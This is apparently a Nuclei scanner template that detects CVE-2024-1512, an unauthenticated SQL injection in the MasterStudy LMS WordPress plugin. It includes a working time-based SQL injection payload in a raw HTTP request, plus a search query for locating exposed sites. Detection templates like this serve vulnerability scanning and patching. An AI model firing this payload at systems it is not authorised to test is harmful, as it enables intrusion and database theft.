id: CVE-2024-1512

info:
  name: MasterStudy LMS WordPress Plugin <= 3.2.5 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the 'user' parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database including usernames, passwords, and other confidential data via time-based SQL injection.
  remediation: |
    Update MasterStudy LMS plugin to version 3.2.6 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1512
    - https://github.com/rat-c/CVE-2024-1512
    - https://blog.csdn.net/m0_60571842/article/details/139901296
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d6b6d824-51d3-4da9-a39a-b957368df4dc?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1512
    epss-score: 0.93187
    epss-percentile: 0.99806
  metadata:
    verified: true
    max-request: 1
    vendor: stylemixthemes
    product: masterstudy_lms
    framework: wordpress
    fofa-query: body="wp-content/plugins/masterstudy-lms-learning-management-system/"
  tags: time-based-sqli,cve,cve2024,sqli,wp-plugin,wordpress,vuln

http:
  - raw:
      - |
        @timeout 10s
        GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%286%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains_all(body,"items","total","total_price")'
          - 'contains(content_type,"application/json")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100d41e80c84500c1d9525909c832234b066724fece5293c53fe898827be8b03b7e02204d7e79d9deea5bbd45b145fbe7e45db7ad10d396b3c869ead6d4ac8d84c93e9c:922c64590222798bb761d5b6d8e72950